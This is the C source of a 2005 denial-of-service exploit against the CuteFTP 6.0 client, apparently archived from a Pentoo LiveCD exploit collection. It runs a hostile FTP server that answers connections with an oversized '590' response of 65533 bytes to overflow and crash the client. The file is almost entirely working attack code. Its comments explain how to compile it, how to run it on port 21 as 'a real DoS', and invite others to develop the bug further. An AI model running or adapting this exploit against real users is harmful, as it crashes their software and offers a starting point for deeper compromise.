home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / cuteftp / cuteftpexpl.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  193 lines

  1. /* Team priestmasters cute-ftp 6.0 denial of service exploit                      */
  2. /* I wrote this denial of service exploit for other vuln-developers         */
  3. /* (exploit-coder). You can use this DoS as a starting part for your     */
  4. /* own research. I cannot exploit this bug. One byte is overwritten    */
  5. /* by a user supplied value, but I do not know which code use this         */
  6. /* byte. After this RaiseException() is called by the application.         */
  7. /* No registers try to read or write from a user supplied address.         */
  8. /* It results in a "MOV ESI,DWORD PTR DS:[ECX+8]". ESI is set to             */
  9. /* 0x0000FFFA (not user supplied) and it isn't a read/writeable               */
  10. /* address. DS:[ECX+8] also points to nothing. I tried to exploit this */
  11. /* bug on a German Windows XP Professional with SP1                                         */
  12. /*                                                                                                                                        */
  13. /* The executable was: cuteftppro.exe
  14. /*  
  15. /* ftpte.exe is also used, but it isn't affected by the overflow I         */
  16. /* think.                                                                                                                             */
  17. /*                                                                                                                                         */
  18. /* Homepage: http://www.priestmaster.org                                                             */
  19. /* Email: priest@priestmaster.org                                                                             */
  20.  
  21. ////////////////
  22.  
  23. // How to use this exploit?:
  24. // Compile it with your windows C compiler (I used lcc compiler):
  25. // "lc cuteftpexpl.c" (I have used lcc compiler, but cl (Visual C++
  26. //                                         should also work with little modifications).
  27. //                                          
  28. // Run with:
  29. // cuteftpexpl.exe
  30.    
  31. // Now cuteftpexpl listens on port 12345 and wait for connections.
  32. // (12345 only for testing. Use port 21 if you want to use it as
  33. // a real DoS.). Now start cute-ftp 6.0 and connect to your host on
  34. // specified port. Cute ftp will crash :-) If it doesn't work, set
  35. // SMBUFSIZ to a higher value.
  36.  
  37. // I hope, that a very smart hacker exploit this bug. I'm not good
  38. // in windows exploitation :-( (but I will become a good win-exploiter :-)
  39. //
  40. // greets,
  41. //
  42. // priestmaster
  43.  
  44.  
  45. #include <windows.h>
  46. #include <winsock2.h>
  47. #include <stdio.h>
  48.  
  49. // Minimum size for overflow with 0x41 is 65533
  50. #define SMBUFSIZ        65533        // Send buffer size
  51. #define RMBUFSIZ        256            // Receive buffer size
  52. #define PORTNUM            12345        // listener port number
  53.  
  54. #define VCHAR                0x41
  55.  
  56. // Prototypes
  57. int startWinsock(void);
  58.  
  59.  
  60. // The fun starts here :-)
  61. int main()
  62.  
  63. {
  64.     // for for :-)
  65.     int i;
  66.     
  67.     // Socket handle
  68.   long rc;
  69.  
  70.     // Overflow buffer
  71.     char sbuf[SMBUFSIZ];  // send buffer
  72.     char rbuf[RMBUFSIZ]; // receive buffer
  73.  
  74.     // Socket and socket address
  75.   SOCKET acceptSocket;
  76.     SOCKET connectedSocket;
  77.   SOCKADDR_IN addr;
  78.  
  79.     // Start winsocks
  80.   rc=startWinsock();
  81.  
  82.     // Error occured ?
  83.   if(rc!=0)
  84.   {
  85.     printf("Error: startWinsock, error code: %d\n",rc);
  86.     return 1;
  87.   }
  88.  
  89.   else
  90.   {
  91.     printf("Winsock started!\n");
  92.   }
  93.   
  94.   // creat socket
  95.   acceptSocket=socket(AF_INET,SOCK_STREAM,0);
  96.  
  97.   // Accept connections
  98.   if(acceptSocket==INVALID_SOCKET)
  99.   {
  100.     printf("Error: cannot create socket, error code: %d\n",WSAGetLastError());
  101.     return 1;
  102.   }
  103.  
  104.   else
  105.   {
  106.     printf("Socket created!\n");
  107.   }
  108.  
  109.     // ip or dns-name
  110.     memset(&addr,0,sizeof(SOCKADDR_IN));
  111.     
  112.     // TCP/IP socket
  113.     addr.sin_family=AF_INET;
  114.     
  115.     // Port number 12345
  116.     addr.sin_port=htons(PORTNUM);
  117.  
  118.     // All clients allowed
  119.     addr.sin_addr.s_addr=ADDR_ANY;
  120.  
  121.     // bind socket to port and check for errors
  122.     rc=bind(acceptSocket,(SOCKADDR*)&addr,sizeof(SOCKADDR_IN));
  123.  
  124.     if(rc==SOCKET_ERROR)
  125.     {
  126.       printf("Error: bind, error code: %d\n",WSAGetLastError());
  127.           return 1;
  128.     }
  129.  
  130.     else
  131.     {
  132.       printf("Socket listens port 12345\n");
  133.     }
  134.     
  135.     // Maximum connections is 10. Listen port 12345
  136.     // and check for errors
  137.     rc=listen(acceptSocket,10);
  138.  
  139.     if(rc==SOCKET_ERROR)
  140.     {
  141.       printf("Error: listen, errorcode: %d\n",WSAGetLastError());
  142.       return 1;
  143.     }
  144.  
  145.     else
  146.     {
  147.       printf("acceptSocket is in listen mode....\n"); 
  148.     }
  149.     
  150.     // Accept and wait for connections
  151.     connectedSocket=accept(acceptSocket,NULL,NULL);
  152.  
  153.     if(connectedSocket==INVALID_SOCKET)
  154.     {
  155.       printf("Error: accept, error code: %d\n",WSAGetLastError());
  156.       return 1;
  157.     }
  158.     
  159.     else
  160.     {
  161.       printf("Accept connection !!!\n");
  162.     }
  163.  
  164.     // Set the whole buffer to VCHAR
  165.     memset(sbuf, VCHAR, SMBUFSIZ);
  166.  
  167.   // Error code greater than 500 is needed for overflow
  168.     sbuf[0] = '5';
  169.     sbuf[1] = '9';
  170.     sbuf[2] = '0';
  171.     sbuf[3] = ' ';
  172.     
  173.     // Add newline and terminate
  174.     sbuf[SMBUFSIZ-2] = '\n';
  175.     sbuf[SMBUFSIZ-1] = 0x00;
  176.     
  177.     // Send response and receive request
  178.     rc=send(connectedSocket,sbuf,strlen(sbuf),0);
  179.     rc=recv(connectedSocket,sbuf,256,0);
  180.     
  181.     return 0;
  182. }
  183.  
  184.  
  185. // Start winsocks
  186. int startWinsock(void)
  187.  
  188. {
  189.   WSADATA wsa;
  190.  
  191.   return WSAStartup(MAKEWORD(2,0),&wsa);
  192. }
  193.